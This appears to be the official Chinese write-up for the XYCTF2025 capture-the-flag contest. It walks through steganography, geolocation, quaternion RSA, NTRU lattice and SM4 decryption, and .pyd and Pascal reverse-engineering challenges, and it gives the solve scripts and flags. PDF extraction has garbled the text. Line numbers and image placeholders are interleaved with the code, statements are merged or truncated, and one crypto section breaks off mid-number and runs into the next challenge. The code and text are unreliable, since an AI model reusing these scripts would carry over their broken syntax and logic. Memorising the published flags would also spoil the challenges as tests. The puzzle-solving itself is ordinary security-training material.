xyctf
XYCTF2025-官⽅WP□
Misc□
签个到吧
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
会⻜的雷克萨斯
EXP□
{width="7.479166666666667in"
height="5.59375in"}
直接搜索⼩东⼗七⻔店电话5951557找到⼤概位置□
{width="7.479166666666667in"
height="3.0416655730533684in"}
结合flag格式□
flag{四川内江市资中县⽔南镇春岚北路中铁城市中⼼内}□这题上传的时候写错了⼀个字,导致有师傅没抢到⾎,⼗分抱歉,后⾯改了之后后台没改全
hhhh其实本题设计初衷本想加⼀个禁⽌使⽤新闻媒体图寻的,因为当时事新闻闹得挺⼤,很容易想到,后来想了想还是不管了,真正的图寻也不会有这个限制,简单题(其实是出题⼈太菜了不会出难
题)喜欢就说出来
EXP□
1.我们拿到⼀个流量包,读读题⽬描述应该难不倒你们吧?□
⼩Shark通过浏览器传输⽂件,因此主要关注HTTP或HTTPS流量□⽂件传输通常通过POST请求上传□
{width="7.479165573053368in"
height="4.572916666666667in"}
2.保存出来,发现⾥⾯有PNG的内容(直接⽤Foremost就可以提取出来)□
{width="7.006943350831146in"
height="6.840276684164479in"}
3.提取后我们拿到了⼀个图⽚(什么都看不⻅呢)□
{width="6.187498906386701in"
height="3.6979166666666665in"}
其实只要再看看题⽬描述"两张图⽚"
那么第⼆张图⽚在哪⾥呢?
4.⽤tweakPNG打开发现,这个图⽚⾥有多余的⼀个PNG头和⻓度不⼀的数据块,因此可以怀疑是把两
个图⽚的数据块掺在⼀起了(⼀不⼩⼼掺挺乱的...轻锤>_<')□
{width="7.506944444444445in"
height="3.7569444444444446in"}
5.根据数据块的结构和特点,可以⼿动还原出两个图⽚□
{width="7.479166666666667in"
height="3.1041655730533684in"}
6.其中⼀张图⽚直接拿到Flag的⼀半□
{width="3.3854155730533684in"
height="1.09375in"}
另外⼀张图⽚,使⽤⼯具查看图⽚左上⻆,可以发现有异常像素块,可判定为LSB(其实这⼀步可以给
⼀个hint"偷偷喜欢是看不⻅的")□直接⽤Stegsolve打开,勾选R5□G2□B0,点Preview就可以拿到另⼀半Flag□
{width="7.479166666666667in"
height="5.958332239720035in"}
flag{WatAshl_W@_anAta_G@_t0kubetsu_Suki!!!}□
MADer也要当CTFer□
EXP□
1.⾸先我们拿到⼀个MKV格式⽂件□
{width="7.479166666666667in"
height="1.1145833333333333in"}
PS:MKV⽂件相当于⼀个⼩盒⼦,盒⼦⾥⾯有视频,⾳频,字幕⽂件等□
这道题需要我们抽取字幕ASS⽂件(这⾥有些播放器可以成功读取字幕⽂件)□
2.利⽤⼯具,提取出MKV中的字幕⽂件(如同)□
{width="5.975693350831146in"
height="3.2986089238845144in"}
3.发现字幕的对话⾥有看起来很像⼗六进制的东西!□
{width="3.0277766841644795in"
height="2.288193350831146in"}
4.写⼀个脚本把它们提取出来看看吧!□
下载我的也⾏!⭐□
http://39.105.15.250/WEB-PRTSHARK/tools.html□
5.使⽤PRTShark_No_TXT&ASS⼯具,提取出HEX,转化回原⽂件!
{width="7.479166666666667in"
height="5.020833333333333in"}
6.根据题⽬描述,"P是位置,R是旋转,T是不透明度,S是缩放"这是AE的快捷键,该⽂件其实是
aep格式的⼯程⽂件,修改后缀并⽤After□Effect□2024打开□
7.关闭这个"隐藏"按钮,然后你就可以看⻅时间轴⾥的内容了□
{width="2.4375in"
height="0.5729166666666666in"}
8.把⼩眼睛点⼀下,有眼睛是可⻅的,没有就是不可⻅,这⾥我⽤⼀个⽩⾊图覆盖了画⾯□
9.点击空格后播放了⼀段动画,但是还是没有看⻅真正的flag□
但是我们可以看⻅,播放到这⾥时屏幕上并没有显⽰出红圈内的⽂本
{width="7.479166666666667in"
height="2.677082239720035in"}
10.嗯...和那种Word隐写很像,就是缩放调成0%,⽂本颜⾊改成⽩⾊了,调回来就⾏了(其实双击这
个素材段直接Ctrl+C你就拿到Flag了)↕□
{width="7.479166666666667in"
height="2.46875in"}
flag{l_re@IIy_w@nn@_2_Ie@rn_AE}□
(I和l我换了哦,⼿动输⼊时要注意⚠)□
⾮预期:aep⽂件可以丢给ai,flag被空格隔开了,直接搜搜不到□sins□ EXP□
这⾥给出⼀个⻓度为15的□
代码块□
{width="0.3506933508311461in"
height="0.5798611111111112in"}f = lambda i:'1i--'[i%4::-2] # 15⽬前看到的最短是14,如果有更短的欢迎来讨论(●'
曼波曼波曼波
打开smn.txt⼀ /9j/4 逆序base64的JPG图⽚□
{width="7.479166666666667in"
height="4.34375in"}
foremost分离⼀下得到⼀个zip,解压后得到⼀个png,还有⼀个压缩包更具提⽰猜密码为
XYCTF2025,解压⼜得到⼀个png,然后得到图⽚很简单就会发现是盲⽔印□
{width="5.822915573053368in"
height="4.354166666666667in"}
greedymen□
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
Lament□Jail□
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
XGCTF□
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
Crypto□
Complex_signin□
EXP□
签到题,利⽤结式提出⼀个关于m的单变量式⼦来,然后打coppersmith就好了,不过界卡的有点紧,
我是 beta=0.43, epsilon=0.02 出的。prng_xxxx□
EXP□
不如直接看https://blog.weyung.cc/2025/04/04/2025 XYCTF/#Crypto,我觉得他写的⽐我好多
了。
reed□
EXP□
应该没有⼈是预期的(早知道不套放射了/(ㄒoㄒ)/~~,也可能是有预期解的只是我没看到),其实是不希
望通过暴⼒枚举直接解掉仿射的。预期应该是要打不动点(其实看flag就知道了),但是既然都是⾮预期
的话就留给⼤家后⾯讨论了。□复复复复数
EXP□
⾸先四元数除法求得p,q,r,计算四元数欧拉函数
□ ,这⾥□ 和□公因数是9,⽤□ 进⾏RSA解密得到□
,然后⽤AMM算法开两次⽴⽅根即可求得flag。□代码块□
class ComComplex:
def __init__(self, value=[0,0,0,0]):
self.value = value
{width="7.513888888888889in"
height="5.6609022309711285in"} def __repr__(self):
{width="0.3506933508311461in"
height="5.225688976377953in"} s = str(self.value[0])for k,i in enumerate(self.value[1:]):
if i >= 0:s += '+'
s += str(i) +'ijk'[k]
return s
def __add__(self,x):
return ComComplex([i+j for i,j in zip(self.value,x.value)])
def __sub__(self,x):return ComComplex([i-j for i,j in zip(self.value,x.value)])
def __mul__(self,x):if type(x) == int:
return ComComplex([i * x for i in self.value])
a = self.value[0]*x.value[0]-self.value[1]*x.value[1]-
self.value[2]*x.value[2]-self.value[3]*x.value[3]b =
self.value[0]*x.value[1]+self.value[1]*x.value[0]+self.value[2]*x.value[3]-
self.value[3]*x.value[2]20
21
22
23
24
25
26
{width="7.513888888888889in"
height="10.957772309711286in"}2728
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
c = self.value[0]*x.value[2]-
self.value[1]*x.value[3]+self.value[2]*x.value[0]+self.value[3]*x.value[1]
d = self.value[0]*x.value[3]+self.value[1]*x.value[2]-
self.value[2]*x.value[1]+self.value[3]*x.value[0]
return ComComplex([a,b,c,d])
def __mod__(self,x):
return ComComplex([i % x for i in self.value])
def __eq__(self,x):
return all([i==j for i,j in zip(self.value,x.value)])
def __pow__(self, x, n=None):
tmp = ComComplex(self.value)
a = ComComplex([1,0,0,0])
while x:
if x & 1:
a *= tmp
tmp *= tmp
if n:
a %= n
tmp %= n
x >>= 1
return a
def conjugate(self):
return ComComplex([self.value[0]] + [-i for i in
self.value[1:4]])
def cbrt(x, p):
r = (p-1)*p*(p+1)
k = 0
while r % 3 == 0:
r //= 3
k += 1
if k == 1:
tmp = r % 3
if tmp == 1:
a = inv(pow(x, (r - 1) // 3, p))
elif tmp == 2:
a = pow(x, (r + 1) // 3, p)
return a
return k
def inv(x, p):
m = pow(sum([i ** 2 for i in x.value]), -1, p) return x.conjugate()
* m % p
from Crypto.Util.number import *
hint =
ComComplex([375413371936,452903063925,418564633198,452841062207])
gift =
ComComplex([8123312244520119413231609191866976836916616973013918670932199631084
0380159243683170779194546117851799508700555600799870347358366681097054459468874
{width="7.513888888888889in"
height="4.346661198600175in"}81003729,2050886747166449934870876879885443338321780169626761175394132871487729
9161068885700412171,22802458968832151777449744120185122420871929971817937643641
589637402679927558503881707868,402244995975224563231221790217605946183507809742
97095023316834212332206526399536884102863])P =
8123312244520119413231609191866976836916616973013918670932199631182724263362174
895104545305364960781233690810077210539091362134310623408173268475389315109n =
4087134953809336153454674095963991846298249329339322276925193200468903658173296
1730160405176639298005399303028109012469485819486678288922622349379985940428366
4530068697313752856923001112586828837146686963124061670340088332769524367c =
ComComplex([2123911061085962546489681828329313696246067314437974217323101261619
1190819560230547492171407591101262273845637373163811504113512145877633951908549
7285769160263024788009541257401354037620169924991531279387552806754098200127027
800103,243985262818403292226606287690156103120847458446106706989203713053538886勒索病毒
感谢la佬指出我附件中的问题,编译⽂件时公钥⽂件和私钥⽂件写错了,但是密⽂没错,我采取的补救
措施是更换flag.enc⽂件□懒得重新编译了QAQ,所以才有了预期中的⾮预期□
以下wp采⽤我原来的数据进⾏编写□懒得改了QAQ□pyinstxtractor反编译□
{width="7.479166666666667in"
height="3.052082239720035in"}
逆向task.pyc得到源代码□
{width="7.479166666666667in"
height="3.6770833333333335in"}
在res⽂件夹中找到公钥□
{width="7.479165573053368in"
height="4.302083333333333in"}
NTRU解密□
sage□
{width="7.513888888888889in"
height="1.7650688976377953in"}1
{width="0.3506933508311461in"
height="1.3298556430446193in"}23
4
5
import random
from Crypto.Util.number import *
Zx.<x> = ZZ[]
6
7
8
9
10
11
12
13
14
{width="7.513888888888889in"
height="10.957760279965004in"}1516
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def center_polynomial_coefficients(f, q):
return Zx([((f[i] + q//2) % q) - q//2 for i in range(n)])
def compute_cyclic_convolution(f, g): return (f * g) % (x^n - 1)
def invert_polynomial_prime_modulus(f, p):
T = Zx.change_ring(Integers(p)).quotient(x^n - 1) return Zx(lift(1 /
T(f)))
def invert_polynomial_power_of_two(f, q):
assert q.is_power_of(2)
g = invert_polynomial_prime_modulus(f, 2)
while True:
r = center_polynomial_coefficients(compute_cyclic_convolution(g, f),
q) if r == 1:
return g
g = center_polynomial_coefficients(compute_cyclic_convolution(g, 2 -
r), q)
def generate_random_polynomial():
return Zx([random.randint(-d, d) for _ in range(n)])
def encrypt_message(message, public_key):
r = generate_random_polynomial()
return center_polynomial_coefficients(
compute_cyclic_convolution(public_key, r) + message, q)
def decrypt_ciphertext(ciphertext, private_key,
private_key_inverse): a = center_polynomial_coefficients(
compute_cyclic_convolution(private_key, ciphertext), q)
return center_polynomial_coefficients(
compute_cyclic_convolution(private_key_inverse, a), p)
def perform_ntru_attack(public_key):
recip3 = lift(1/Integers(q)(3))
public_key_over_3 = center_polynomial_coefficients(recip3 *
public_key, q) M = matrix(2 * n)
for i in range(n):
M[i, i] = q
for i in range(n):
M[i+n, i+n] = 1
c = compute_cyclic_convolution(x^i, public_key_over_3)
for j in range(n):
M[i+n, j] = c[j]
M = M.LLL()
52
53
54
55
56
57
58
{width="7.513888888888889in"
height="8.24942694663167in"}5960
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
for j in range(2 * n):
try:
f = Zx(list(M[j][n:]))
f3 = invert_polynomial_prime_modulus(f, 3) return (f, f3)
except:
pass
return (f, f)
n = 49
p = 3
q = 128
d = 3
assert q > (6*d + 1)*p
public_key = 8*x^48 + 58*x^47 + 18*x^46 + 61*x^45 + 33*x^44 +
21*x^43 +
58*x^42 + 21*x^41 + 5*x^40 + 32*x^39 + 15*x^38 + 40*x^37 +
24*x^36 + 14*x^35 + 40*x^34 + 5*x^33 + x^32 + 48*x^31 +
21*x^30 + 36*x^29 + 42*x^28 + 8*x^27 +
17*x^26 + 54*x^25 + 39*x^24 + 38*x^23 + 14*x^22 + 22*x^21 +
26*x^20 + 22*x^18
+ 7*x^17 + 29*x^16 + 53*x^15 + 50*x^14 + 49*x^13 + 21*x^12
- 47*x^11 + 50*x^10\
- 32*x^9 + 14*x^8 + 50*x^7 + 18*x^6 + 9*x^5 + 61*x^4 +
10*x^3 + 9*x^2 + 11*x +
47
encrypted_message = 31*x^48 - 14*x^47 + x^46 + 8*x^45 - 9*x^44
- 18*x^43 -
30*x^41 + 14*x^40 + 3*x^39 - 17*x^38 + 22*x^37 + 7*x^36 +
31*x^34 - 30*x^33 - 22*x^32 - 25*x^31 + 31*x^30 - 28*x^29 +
7*x^28 + 23*x^27 - 6*x^26 + 12*x^25 - 6*x^24 + 5*x^23 -
13*x^22 - 10*x^20 + 4*x^19 + 15*x^18 + 23*x^17 + 24*x^16 -
2*x^15 - 8*x^14 - 20*x^13 + 24*x^12 - 23*x^11 - 4*x^10 -
26*x^9 - 14*x^8 +
10*x^7 + 4*x^6 - 4*x^5 - 32*x^4 - 5*x^3 - 31*x^2 + 16*x +
11
recovered_keys =
perform_ntru_attack(public_key.coefficients(sparse=False))
decrypted_message = decrypt_ciphertext(encrypted_message,
recovered_keys[0], recovered_keys[1])
print(decrypted message)
{width="7.479166666666667in"
height="4.5625in"}
得到多项式之后
计算sm4的key□这⾥只需要复⽤加密函数就⾏了□
1
2
{width="7.513888888888889in"
height="5.4317213473315835in"}34
{width="0.3506933508311461in"
height="4.996509186351706in"}56
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def terms(poly_str):
terms = []
pattern = r'([+-]?\s*x\^?\d*|[-+]?\s*\d+)'
matches = re.finditer(pattern, poly_str.replace(' ', ''))
for match in matches:
term = match.group()
if term == '+x' or term == 'x':
terms.append(1)
elif term == '-x':
terms.append(-1)
elif 'x^' in term:
coeff_part = term.split('x^')[0]
exponent = int(term.split('x^')[1])
if not coeff_part or coeff_part == '+':
coeff = 1
elif coeff_part == '-':
coeff = -1
else:
22
23
24
25
26
27
28
29
{width="7.513888888888889in"
height="9.24942694663167in"}3031
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
coeff = int(coeff_part)
terms.append(coeff * exponent)
elif 'x' in term:
coeff_part = term.split('x')[0]
if not coeff_part or coeff_part == '+': terms.append(1)
elif coeff_part == '-':
terms.append(-1)
else:
terms.append(int(coeff_part))
else:
if term == '+1' or term == '1':
terms.append(0)
terms.append(-0)
return terms
def gen_key(poly_terms):
binary = [0] * 128
for term in poly_terms:
exponent = abs(term)
if term > 0 and exponent <= 127: # 仅处理系数为 +1 的项 binary[127 -
exponent] = 1
binary_str = ''.join(map(str, binary))
hex_key = hex(int(binary_str, 2))[2:].upper().zfill(32)
return hex_key
def read_polynomial_from_file(filename): with open(filename, 'r')
as file:
poly_str = file.read().strip()
return poly_str
# 主程序
if __name__ == "__main__":
poly_str = read_polynomial_from_file("priv.txt") print(poly_str)
term = terms(poly_str)
sm4_key = gen_key(term)
print(term)
print(sm4_key)
{width="7.479166666666667in"
height="1.9166666666666667in"}
解SM4□
python□
from gmssl.sm4 import CryptSM4, SM4_DECRYPT
import binascii
def sm4_ecb_decrypt(key_hex, ciphertext_hex):
"""
{width="7.513888888888889in"
height="8.431735564304462in"} SM4-ECB 解密:param key_hex: 16字节密钥(32位⼗六进制字符串)
{width="0.3506933508311461in"
height="7.996509186351706in"} :param ciphertext_hex:
待解密的密⽂(⼗六进制字符串)
:return: 解密后的明⽂(字符串)"""
# 检查密钥和密⽂⻓度
if len(key_hex) != 32:
raise ValueError("密钥必须是32位⼗六进制(16字节)")
if len(ciphertext_hex) % 32 != 0:raise ValueError("密⽂⻓度必须是32的倍数(16字节的倍数)")
# 将⼗六进制字符串转换为字节
key = binascii.unhexlify(key_hex)
ciphertext = binascii.unhexlify(ciphertext_hex)# 初始化 SM4 解密器
crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)# 执⾏解密(ECB 模式)
plaintext = crypt_sm4.crypt_ecb(ciphertext)
# 去除可能的填充(PKCS#7)
padding_len = plaintext[-1]
plaintext = plaintext[:-padding_len]return plaintext.decode('utf-8', errors='ignore') #
忽略⾮UTF-8字符# ⽰例⽤法
35
36
{width="7.513888888888889in"
height="3.2911100174978127in"}3738
39
40
41
42
43
44
45
{width="7.479166666666667in"
height="1.4166655730533684in"}
if __name__ == "__main__":
# 16字节密钥(32位⼗六进制)
key = "00000000000000000001122416541A98" # 你提供的密钥
# 待解密的密⽂(⼗六进制)
ciphertext =
"cfee0cb767d745ba388a99d237bc0482cf87f199d9181920ae28445d404a0ae0407e43aa463b91
b933c31f9788c9bfd3" # 你提供的密⽂
try:
decrypted = sm4_ecb_decrypt(key, ciphertext) print("解密结果:",
decrypted)
except Exception as e:
print("解密失败:", e)
division□
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
choice□
随机数预测,随便找个库就好了
Reverse□
WARMUP□
⻅博客https://www.cnblogs.com/LAMENTXU/articles/18730353□
Moon
附件⾥给了⼀个□main.py和moon.pyd□。□
□那么可能有⼈会问,什么是 .pyd ⽂件呢?□.pyd
□⽂件是□Python□动态模块(Python□Dynamic□Module)□的⼀种,它本质上是⼀个□Windows□
下的动态链接库(DLL)⽂件,但扩展名是□ .pyd
,以便□Python□能识别并导⼊。□.pyd
□⽂件允许你⽤□C、C++□或其他编译型语⾔编写□Python□模块,然后作为⼀个模块供□Python□导
⼊和调⽤,就像普通的□ .py □⽂件⼀样。□你可以这样使⽤:
代码块□
{width="0.3506933508311461in"
height="0.7361111111111112in"}import mymodule mymodule.func()很多⼈赛中来询问我关于python版本的问题,显⽰模块导⼊不成功,⽬前⻅过的pyd⽂件⼤多都可以
在字符串表⾥找到关于python版本号的问题□
{width="7.479166666666667in"
height="3.5104155730533684in"}
⽐如这⾥,我们可以看到python版本为3.11□
类⽐去年ciscn初赛的rand0m,也是同样的,能看到python版本为3.12□
打开main.py我们发现是导⼊了moon模块然后调⽤了moon.check_flag来进⾏验证(顺便说⼀下这题
推荐了⽑姆的《⽉亮与六便⼠》哈哈哈)□
我们打开moon.pyd搜索字符串,能定位到sub_180002550函数□
⾥⾯⼤概呈现了所有的字符串(下⾯是保留的有关的)□代码块□
{width="7.513888888888889in"
height="2.6713320209973754in"} v9[1] =
"426b87abd0ceaa3c58761bbb0172606dd8ab064491a2a76af9a93e1ae56fa84206a2f7";
{width="0.3506933508311461in"
height="2.2361100174978126in"} si128 = _mm_load_si128((const
__m128i *)&xmmword_180009050);v0 = (__int64 *)((char *)off_18000B618 + 56);
v13 = (char *)off_18000B618 + 64;
v14 = "SEED";
v19 = (char *)off_18000B618 + 72;
v20 = "TARGET_HEX";
v24 = (char *)off_18000B618 + 80;
9
10
11
12
13
14
15
16
17
{width="7.513888888888889in"
height="10.957776684164479in"}1819
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
v25 = "UnicodeEncodeError";
v30 = (char *)off_18000B618 + 88;
v31 = "*";
v35 = (char *)off_18000B618 + 96;
v36 = "?";
v41 = (char *)off_18000B618 + 104;
v42 = "asyncio.coroutines";
v46 = (char *)off_18000B618 + 112;
v47 = "b";
v52 = (char *)off_18000B618 + 120;
v53 = "check_flag";
v57 = (char *)off_18000B618 + 128;
v32 = _mm_load_si128((const __m128i *)&xmmword_180008FB0); v58 =
"cline_in_traceback";
v63 = (char *)off_18000B618 + 136;
v64 = "data_bytes";
v68 = (char *)off_18000B618 + 144;
v69 = "encode";
v74 = (char *)off_18000B618 + 152;
v75 = "encoding_error";
v79 = (char *)off_18000B618 + 160;
v80 = "encrypted";
v85 = (char *)off_18000B618 + 168;
v86 = &unk_180008DC0;
v90 = (char *)off_18000B618 + 176;
v91 = "__import__";
v96 = (char *)off_18000B618 + 184;
v97 = "_initializing";
v101 = (char *)off_18000B618 + 192;
v102 = "input_str";
v107 = (char *)off_18000B618 + 200;
v108 = "_is_coroutine";
v112 = (char *)off_18000B618 + 208;
v76 = _mm_load_si128((const __m128i *)&xmmword_180009030); v113 =
"__main__";
v87 = _mm_load_si128((const __m128i *)&xmmword_180008FC0); v118 =
(char *)off_18000B618 + 216;
v123 = (char *)off_18000B618 + 224;
v124 = "moon.py";
v129 = (char *)off_18000B618 + 232;
v130 = "__name__";
v134 = (char *)off_18000B618 + 240;
v135 = "randint";
v140 = (char *)off_18000B618 + 248;
v141 = "random";
v145 = (char *)off_18000B618 + 256;
v146 = "seed";
56
57
58
{width="7.513888888888889in"
height="3.9855544619422574in"}5960
61
62
63
64
65
66
67
68
69
70
71
v151 = (char *)off_18000B618 + 264;
v152 = "seed_value";
v156 = (char *)off_18000B618 + 272;
v157 = "__spec__";
v162 = (char *)off_18000B618 + 280;
v163 = "__test__";
v167 = (char *)off_18000B618 + 288;
v168 = "unknown_error";
v120 = _mm_load_si128((const __m128i *)&xmmword_180008FD0); v173
= (char *)off_18000B618 + 296;
v142 = _mm_load_si128((const __m128i *)&xmmword_180008FF0); v174
= "utf-8";
v175 = _mm_load_si128((const __m128i *)&xmmword_180008FE0); v176
= 256;
v178 = (char *)off_18000B618 + 304;
v179 = "xor_crypt";
我们能看到有xor_crypt,seed,random,甚⾄密⽂的⼗六进制值在这⾥也进⾏了体现□
那么我们下⼀步就是要找到xor的位置,其实就是寻找函数PyNumber_Xor,搜索引⽤发现在函数
{width="7.479165573053368in"
height="5.416665573053368in"}sub_180001370处有逻辑□先xor然后写进⼀个list⾥⾯□
往后找⽐较,找PyObject_RichCompare找到sub_180001B70□
{width="7.479166666666667in"
height="4.302083333333333in"}
其实看到这⾥就不难猜到是random.seed去⽣成随机数⽽且进⾏xor了,⽽事实也的确如此□
现在我们需要找到随机数种⼦(当然也可以直接根据flag头flag{爆破)□
观察到xor的v8来⾃off_18000B618,⼀交叉引⽤发现很多,然后找到了函数sub_180003010□
{width="7.479166666666667in"
height="3.531248906386702in"}
随机数种⼦是0x114514,当然也可以有快速定位的⽅法,关注函数PyLong_FromLong,这是对数值进⾏
处理的函数,然后分析到这⾥我们就可以写解密脚本了□EXP□
最终解密脚本如下:
sol.py□
import random
def decrypt(ch, seed):
{width="0.3506933508311461in"
height="4.173610017497813in"} c1 = bytes.fromhex(ch)random.seed(seed)
key = bytes([random.randint(0, 255) for _ in range(len(c1))]) p =
bytes([c ^ k for c, k in zip(c1, key)])try:
return p.decode('utf-8')
except UnicodeDecodeError:
return f" {p} {p.hex()}"ch =
"426b87abd0ceaa3c58761bbb0172606dd8ab064491a2a76af9a93e1ae56fa84206a2f7"
seed = 0x114514result = decrypt(ch, seed) print(result)
这⾥后⾯有个⾮预期的解法(也可能是我太菜了),import□moon模块,然后help(moon)□
可以得到以下信息:
{width="7.479166666666667in"
height="3.6979166666666665in"}
这⾥就能猜出来⼤概逻辑了,ida找密⽂就⾏了□
最终flag:□ flag{but_y0u_l00k3d_up_@t_th3_mOOn}□
□"希望⼤家都能在满地都是六便⼠的街上,抬起头看到⾃⼰的⽉光"□
Lake□
出了个old□school的编程语⾔pascal,最早的国内OI⽐赛的时候⽤的这个,也是⼈⽣学的第⼀⻔编程语
⾔,出题也有纪念意义了。
对于pascal的编译环境配置这⾥提⼀下:现在的fpc编译器已经没有直接⽀持x64版本的了,如果想在
win下配置fpc,那么需要先下载32位的编译器,然后再在同⽬录下安装交叉编译器,这样就能得到可
进⾏64位编译的fpc□pascal编译器了。□这⾥先把题⽬源码放上:
lake.pas□
program WaldenObf;
uses
SysUtils, Crt;
{width="7.513888888888889in"
height="6.681748687664042in"}
{width="0.3506933508311461in"
height="6.246526684164479in"}constOP_ADD = $01; OP_SUB = $02; OP_MUL = $03; OP_DIV = $04;
OP_MOD = $05; OP_AND = $06; OP_OR = $07; OP_XOR = $08;var
a: array[0..94] of Integer = (
$6A, $5C, $46, $13, $5E, $46, $40, $47, $13, $5F, $5A,
$45, $56, $13, $5A, $5D,19
20
21
22
$13, $47, $5B, $56, $13, $43, $41, $56, $40, $56, $5D, $47,
$1F, $13, $5F, $52,
$46, $5D, $50, $5B, $13, $4A, $5C, $46, $41, $40, $56, $5F,
$55, $13, $5C, $5D,
$13, $56, $45, $56, $41, $4A, $13, $44, $52, $45, $56, $1F,
$13, $55, $5A, $5D,
$57, $13, $4A, $5C, $46, $41, $13, $56, $47, $56, $41, $5D,
$5A, $47, $4A, $13,
23
24
25
26
27
28
29
{width="7.513888888888889in"
height="10.957776684164479in"}
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$5A, $5D, $13, $56, $52, $50, $5B, $13, $5E, $5C, $5E, $56,
$5D, $47, $1D );
b: array[0..73] of Integer = (
$6B, $94, $94, $91, $98, $45, $98, $99, $86, $93, $89, $45,
$94, $93, $45, $99,
$8D, $8A, $8E, $97, $45, $8E, $98, $91, $86, $93, $89, $45,
$94, $8B, $45, $94,
$95, $95, $94, $97, $99, $9A, $93, $8E, $99, $8E, $8A, $98,
$45, $86, $93, $89,
$45, $91, $94, $94, $90, $45, $99, $94, $9C, $86, $97, $89,
$45, $86, $93, $94,
$99, $8D, $8A, $97, $45, $91, $86, $93, $89, $53
);
c: array[0..55] of Integer = (
$23, $1F, $12, $5, $12, $57, $1E, $4, $57, $19, $18, $57,
$18, $3, $1F,
$12,
$5, $57, $1B, $16, $19, $13, $4C, $57, $3, $1F, $12, $5,
$12, $57, $1E, $4, $57, $19, $18, $57, $18, $3, $1F, $12,
$5, $57, $1B, $1E, $11, $12, $57, $15,
$2, $3, $57, $3, $1F, $1E, $4, $59
);
d: array[0..49] of Integer = (
$46, $67, $6F, $18, $68, $64, $5D, $59, $6B, $5D, $18, $61,
$66, $68, $6D, $6C,
$18, $71, $67, $6D, $6A, $18, $6D, $66, $5C, $5D, $6A, $6B,
$6C, $59, $66, $5C,
$61, $66, $5F, $18, $67, $5E, $18, $6C, $60, $5D, $18, $4F,
$59, $64, $5C, $5D,
$66, $32
);
con: array[0..43] of Integer = (
$6B, $47, $46, $4F, $5A, $49, $5C, $5D, $44, $49, $5C, $41,
$47, $46, $5B, $6,
$6D, $46, $42, $47, $51, $8, $51, $47, $5D, $5A, $8, $5C,
$41, $45, $4D,
$8,
$4A, $51, $8, $5C, $40, $4D, $8, $44, $49, $43, $4D, $6
);
err: array[0..35] of Integer = (
$65, $49, $51, $4A, $4D, $8, $51, $47, $5D, $8, $5B, $40,
$47, $5D, $44, $4C,
$8, $4C, $47, $8, $45, $47, $5A, $4D, $8, $5C, $47, $8,
$4E, $41, $46, $4C, $8, $41, $5C, $6
58
59
{width="7.513888888888889in"
height="3.3327766841644793in"}6061
62
63
64
65
66
67
68
69
70
71
);
t: array[0..39] of Byte;
p: array[0..39] of Byte = (
$4A, $AB, $9B, $1B, $61, $B1, $F3, $32, $D1, $8B, $73, $EB,
$E9, $73, $6B, $22, $81, $83, $23, $31, $CB, $1B, $22, $FB,
$25, $C2, $81, $81, $73, $22, $FA, $03, $9C, $4B, $5B, $49,
$97, $87, $DB, $51
);
opcode: array[0..122] of Integer = ( OP_SUB, 2, $0C,
OP_ADD, 26, $55,
OP_ADD, 35, $0C,
然后我们拿到这个程序运⾏⼀下发现是类似于打字机的效果,然后推测肯定有sleep函数□
通过sleep函数跟到主函数□代码块□
void __noreturn sub_100001B70()
{
sub_100008570();
word_100020040 = -1;
{width="7.513888888888889in"
height="6.702582020997375in"} do
{width="0.3506933508311461in"
height="6.267360017497813in"} {aJF[(unsigned __int16)++word_100020040] ^= 0x33u;
v0 = sub_10000C190();
sub_10000C760(0, v0, LOBYTE(aJF[(unsigned
__int16)word_100020040]));
sub_100008510();sub_10000C2F0(v0);
sub_100008510();
if ( qword_100021B50 )
v1 = (void *)qword_100021B50((unsigned int)dword_100020580);
elsev1 = &unk_100020588;
sub_10000C0C0(v1);
sub_100008510();
sub_1000130D0(100);}
while ( word_100020040 < 94 );
v2 = sub_10000C190();
sub_10000C310(v2);
sub_100008510();
word_100020040 = -1;do
{
28
29
30
31
32
33
34
35
36
{width="7.513888888888889in"
height="10.957776684164479in"}3738
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
*(_WORD *)&byte_100015210[2 * (unsigned
__int16)++word_100020040] -= 37;
v3 = sub_10000C190();
sub_10000C760(0, v3, byte_100015210[2 * (unsigned
__int16)word_100020040]); sub_100008510();
sub_10000C2F0(v3);
sub_100008510();
if ( qword_100021B50 )
v4 = (void *)qword_100021B50((unsigned int)dword_100020580);
else
v4 = &unk_100020588;
sub_10000C0C0(v4);
sub_100008510();
sub_1000130D0(100);
}
while ( word_100020040 < 73 );
v5 = sub_10000C190();
sub_10000C310(v5);
sub_100008510();
word_100020040 = -1;
do
{
*(_WORD *)&byte_1000152B0[2 * (unsigned
__int16)++word_100020040] ^= 0x77u; v6 = sub_10000C190();
sub_10000C760(0, v6, byte_1000152B0[2 * (unsigned
__int16)word_100020040]); sub_100008510();
sub_10000C2F0(v6);
sub_100008510();
if ( qword_100021B50 )
v7 = (void *)qword_100021B50((unsigned int)dword_100020580);
else
v7 = &unk_100020588;
sub_10000C0C0(v7);
sub_100008510();
sub_1000130D0(100);
}
while ( word_100020040 < 55 );
v8 = sub_10000C190();
sub_10000C310(v8);
sub_100008510();
sub_1000130D0(500);
word_100020040 = -1;
do
{
aFgo[(unsigned __int16)++word_100020040] += 8;
v9 = sub_10000C190();
sub_10000C760(0, v9, LOBYTE(aFgo[(unsigned
__int16)word_100020040]));
sub_100008510();
75
76
{width="7.513888888888889in"
height="3.3049989063867016in"}7778
79
80
81
82
83
84
85
86
87
88
sub_10000C2F0(v9);
sub_100008510();
if ( qword_100021B50 )
v10 = (void *)qword_100021B50((unsigned int)dword_100020580); else
